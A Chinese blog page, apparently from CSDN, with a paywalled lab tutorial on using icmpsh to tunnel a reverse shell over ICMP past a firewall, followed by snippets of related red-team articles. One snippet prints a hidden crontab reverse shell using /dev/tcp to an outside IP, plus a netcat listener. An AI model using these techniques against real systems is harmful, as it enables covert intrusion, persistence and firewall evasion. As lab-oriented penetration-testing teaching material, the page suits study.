隐藏通信隧道技术之icmpsh反弹shell（网络层ICMP隧道）

最新推荐文章于 2023-11-21 20:05:04 发布
原创 最新推荐文章于 2023-11-21 20:05:04 发布 · 926 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文介绍了一种利用ICMP协议进行隐蔽通信的方法——ICMP隧道技术，并详细演示了如何搭建和使用ICMP隧道来穿越防火墙限制，实现内外网间的命令交互。

优势：不需要开放端口就能通信
常见ICMP的消息是ping命令，通过ping可以得到一些回复
如果HTTP,DNS正反向端口转发不行时候可以尝试ICMP隧道
建立基础：只要能ping通，可以将TCP/UDP数据封装到数据包中，然后利用ping的数据包来穿透防火墙。
实验环境：
1.虚拟机中进行 （kali作为外网机器，monowall1是分隔内外网的防火墙，win7，win2012是两台内网机器）
在这里插入图片描述

2.kali的ip:10.0.78.29
Monowall1的ip:1.1.1.1
Win7的ip:1.1.1.101
Win2012的ip:1.1.1.102
这里只演示win7
准备：
1.此刻防火墙规则如下
在这里插入图片描述

此时内外全部可以连通的，没有任何限制
2.win7去ping外网机器kali
在这里插入图片描述

发现是可以ping通的
3.用外网kali去ping内网win7
在这里插入图片描述

当然它是ping不通的
4.用外网kali去ping防火墙

最低0.47元/天 解锁文章
利用ICMP协议反弹shell
不忘初心，护天下安全！
07-20 1230
网络管理员通常使用各种各样的防火墙，以拦截各类渗透测试动作，如某防火墙允许已知的机器流量在端口和服务（入口过滤），并拥有强大的出口访问控制列表的设置。然而很多时候，为了方便运维管理，在各种安全策略中，ICMP协议通常是不会过滤的，通俗点说就是不会禁PING。ICMP（InternetControlMessageProtocol）Internet控制报文协议，是TCP/IP协议簇的一个子协议，用于在IP主机、路由器之间传递控制消息。...
内网隧道代理技术（二十五）之 ICMP隧道反弹SHELL
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
09-14 442
由于ICMP报文自身可以携带数据，而且ICMP报文是由系统内核处理的，不占用任何端口，因此具有很高的隐蔽性。把数据隐藏在ICMP数据包包头的data字段中，建立隐蔽通道，可以实现绕过防火墙和入侵检测系统的阻拦。
icmp实现shell反弹
qq_45833409的博客
02-01 351
#概述 1.创建原始套接字（icmp），分别为发送端和接收端，另外再起一个进程绑定一个端口进行tcp监听。 2.发送端向接收端发送icmp包后，接收端过滤icmp包后获得发送端发出的icmp包再解包和解密，当口令正确，解析icmp_data段的ip和port。 3.拿到ip和port后，创建一个tcp套接字去connect这个addr，连接成功后将stdin，stdout，stderr重定向到创建的套接字中，再execl反弹shell就完成了. 源码 发送端 #include <stdio.h&gt
icmpsh之icmp反弹shell
weixin_45729208的博客
03-31 448
一，技术原理 向ping www.baidu.com时，本机会先向百度的服务器发送ICMP请求包，如果请求成功了，则百度服务器会回应ICMP的响应包 引用百度百科： ICMP（Internet Control Message Protocol）Internet控制报文协议。它是TCP/IP协议簇的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用。 二，实验环境 攻击机
内网渗透之 ICMP(icmpsh) 协议反弹Shell
The current road is different, love needs to distinguish between right and wrong
04-09 5194
简介 最常见的ICMP消息为Ping命令的回复，通过ping命令访问远程计算机，尝试进行ICMP隧道，将TCP/UDP数据封装到ICMP的ping数据包中，从而穿过防火墙（通常防火墙不会屏蔽ping数据包）。 常见的ICMP隧道工具有：icmpsh、PingTunnel、icmptunnel、powershell icmp等。 这里使用 icmpsh跨平台工具，python版本 < python3。 实验环境 kali:192.168.95.128 windows7:192.168.9
ICMPSH的学习ICMP反弹shell
来到了学渣的博客
06-04 1510
ICMP隧道 最常见的ping命令就是利用的ICMP协议，使用该协议反弹shell，两台机器不需要开放端口，ICMP隧道简单好用。 实验环境 Kali 192.168.10.144 win7 192.168.10.129 kali安装好icmpsh工具 root@kali:~# git clone https://github.com/inquisb/icmpsh.git 安装icmpsh的依赖包 root@kali:~# apt-get install python-impacket 执行之前最重要
隐藏计划任务反弹shell
shiyingai
12-22 2305
靶机执行 (crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.79.3/2334 0>&1';\r%100c\n")|crontab - vps监听 nc -lvvp 2334   该计划任务是隐藏的，使用contab -e，选择一种编辑器后可以查看到内容 ...
icmp反弹shell 简介
whatday的专栏
04-09 1100
目录 第一节 轶事 第二节 技术原理 第三节 ICMP反弹shell 第一节 轶事 首次听说icmp隧道，要从免费上网说起。当年的网费还是挺贵的，大学生上个网还是容易“破产”呀。当你的网费耗尽后，网管服务器就会拦截你的网络请求，但是只拦截了TCP和UDP协议，放过了ICMP协议，ping ip还是可以的，于是就开始琢磨利用icmp隧道将访问转发到自己的一台放置在公网中的代理，利用代...
nishangICMP反弹shell攻击
wodepzw的博客
11-19 352
准备 靶机Windows10 IP 192.168.0.164 攻击机kali IP 192.168.0.159 靶机下载好nishang 下载链接https://github.com/samratashok/nishang 攻击机下载好icmpsh 下载链接https://github.com/inquisb/icmpsh.git 1.先查看两个机子是否能ping通 2.用管理员权限打开powe...
通过ICMP协议反弹SHELL并执行命令
Fly_鹏程万里
05-23 3801
前言内网中的大多数系统都位于防火墙和企业代理之后，以便控制入口以及出口流量。防火墙可以拦截到反连的shell，但ICMP协议基本上是不拦截的。因此，为了获得shell并在目标主机上执行命令，可以使用ICMP协议作为隐藏通道进行连接。使用icmpsh(https://github.com/inquisb/icmpsh)工具可用来执行此攻击。推特上的大牛@Bernardo Damele已经将其导入到他...
利用icmpsh建立icmp隧道反弹shell
huayimy的博客
12-29 965
利用icmpsh建立icmp隧道反弹shell，安装pip2，安装impacket模块，raise ReadTimeoutError，Failed to build future
剑走偏锋之ICMP隧道
爱测未来团队博客
02-27 2544
写在前面信息安全里面攻击与防御一直都是像是光与影子得关系，防御得手段多种多样，攻击得方法也是花样百出。在一些高难度得渗透测试过程中往往会遇到比较完善得安全防护策略、安全防护硬件、安全防护软件，一个小小得恶意动作或者一段恶意代码得运行都可能会引起安全设备向管理员发起警告，如果渗透方已经到达内网寻找数据阶段被防守方发现了那不就是前功尽弃或者得不偿失呢，渗透方如果能够通过技术手段隐藏自己得攻击过程或者痕...
用icmp反弹协议——icmpsh
weixin_50683638的博客
04-08 427
ICMP隧道 前言 一、ICMP（Internet Control Message Protocol）Internet控制报文协议。它是TCP/IP协议簇的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用。 常见的ICMP隧道工具有：icmpsh、PingTunnel、icmptunnel、powershell icmp等。 内容 开启两台虚拟机这里用到的是kali和
ICMP隐蔽隧道实现--icmpsh
2202_75358230的博客
11-21 196
内部网络中的大多数系统位于防火墙和公司代理之后，以控制入站和出站流量。因此，可以将此协议用作隐蔽隧道，以便获得shell并在目标主机上远程执行命令。这样的话就直接pip2这个flask包 ，看准需要下载什么版本，直接install就行了。但是我们查端口的话是什么也查不到的，只能通过抓icmp包去发现数据传输。运行此工具时需要运行以下命令，禁用所有ICMP回显答复。第一个ip地址是自己的ip，第二个ip地址是目标主机。可以看出，明文传输，我们执行的命令被抓到了。之后解压缩此文件，并cd进去。
内网渗透之隐藏通信隧道技术
A_991128a的博客
07-31 396
前段时间读了读徐哥的《内网安全攻防》，并复现了部分知识点，写篇文章记录下学习内容。在最简单的情况下，两台主机之间数据的交换建立在TCP/IP协议之上，也就是说知道了IP、建立了TCP连接，那么两台主机便可以进行数据传输。但在大多数情况下，内网的环境存在多种边界设备以及入侵检测装置的限制，它们会对主机间或者内网与外网之间通信的流量进行检测，如果存在异常就会进行拦截，这无疑给内网渗透增加了难度，而隐藏通信隧道技术就是为了绕过各种边界设备的封锁，从而完成主机间或内网与外网之间的通信。
隐藏c2隧道---ICMP之icmpsh的使用
qq_61142406的博客
02-12 4085
隐藏c2隧道---ICMP之icmpsh的使用
icmp协议_利用ICMP(icmpsh)协议反弹Shell 渗透红队笔记
weixin_39872257的博客
12-01 437
渗透攻击红队一个专注于红队攻击的公众号大家好，这里是渗透攻击红队的第 十篇文章，本公众号会记录一些我学习红队攻击的复现笔记(由浅到深)，每周一更。ICMP隧道‍ICMP隧道是一个比较特殊的协议。在一般的通信协议里，如果两台设备要进行通信，肯定要开放端口，而在ICMP协议下就不需要。最常见的ICMP消息为Ping命令的回复，攻击者可以利用命令得到比回复更多的ICMP请求。在通常情况下...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值